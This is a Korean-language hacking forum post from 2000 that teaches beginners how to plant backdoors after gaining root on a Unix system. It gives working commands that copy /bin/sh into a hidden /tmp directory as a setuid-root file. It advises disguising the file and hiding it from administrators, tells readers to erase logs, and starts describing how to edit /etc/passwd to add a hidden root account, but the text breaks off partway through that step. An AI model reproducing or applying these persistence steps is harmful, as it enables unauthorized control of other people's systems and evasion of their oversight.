| Hacking 관련 게시판 |
|---|
| 2000/08/06(20:34) from 203.254.154.69 | |
| 작성자 : 강줄기 (jkkang65@hanmail.net) | 조회수 : 3121 , 줄수 : 53 |
| 백도어란? |
|---|
|
백도어(Backdoor)란? 백도어는 해커가 해킹을 하고 나서 다음번에 수월한 해킹을 위해 만들어 두는 뒷구멍 을 말합니다. 백도어를 만드는 방법은 굉장히 다양합니다. 초보분들을 위한 가장 기 본적인 백도어 만드는 법을 알려드리겠습니다. 백도어 설치 I 일단 여러분들이 어떤 방법을 쓰던지, (대부분 버퍼 오버플로우 이용) 루트를 땁니 다. 루트를 땄다면 여러분들은 많은 일을 해야 합니다. 로그를 지우고 다음번 접속 을 위해 여러 가지 백도어를 만들어 두어야 겠죠. 그중 가장 쉬운 법을 루트쉘을 복사해 두는 건데, 주의할 점은 루트쉘을 복사 하는 디렉토리가 어드민에게 잘 들키지 않을 만한 곳이어야 할 것이고, 파일명도 그럴싸 하게 바꾸어 놓아야 합니다. 그럼 예를 들어 보여드리겠습니다. # whoami root # cd /tmp ; mkdir .temp ; cp /bin/sh /tmp/.temp/.sync ; cd /tmp/.temp ; chmod 4755 .sync (위의 명령은 한줄에 모두 표현한 것입니다. 여러분은 " ; " 대신 그냥 여러줄로 쓰 셔도 됩니다) # su guest # whoami guest # /tmp/.temp/.sync # whoami root 이런 식으로 되는 겁니다. 백도어를 만들 때는 파일명을 명령어와 같게 하는 것도 좋 으며, 디렉토리는 위에 있는 것보다 더 복잡하거나, /usr/bin 같은 곳에 두어도 좋 습니다. 뭐 /dev/tty??? 라구 해서 숨겨놓는 것도 좋구요. 그후에 루트가 필요할 때마다 그 파일을 실행시키면 되죠. 백도어 설치 II 루트쉘을 이용한 백도어 말고 더 간단한 백도어는 passwd 파일을 수정 하는 것입니 다. 일단 루트가 되고 나면 passwd 파일을 수정 합니다. joe나 vi, pico 같은 에 디터를 이용하여, 수정 합니다. 초보분들에게 vi는 좀 힘들테니 pico 로 설명하겠습 니다. # whoami root # pico /etc/passwd . memoon:*:909:100:nothing:/home/memoon:/bin/bash . 이런 식으로 나오면 패스워드는 두 번째 탭인 " * "입니다. 그러므로 루트로 들어가는겁니다. |
|
|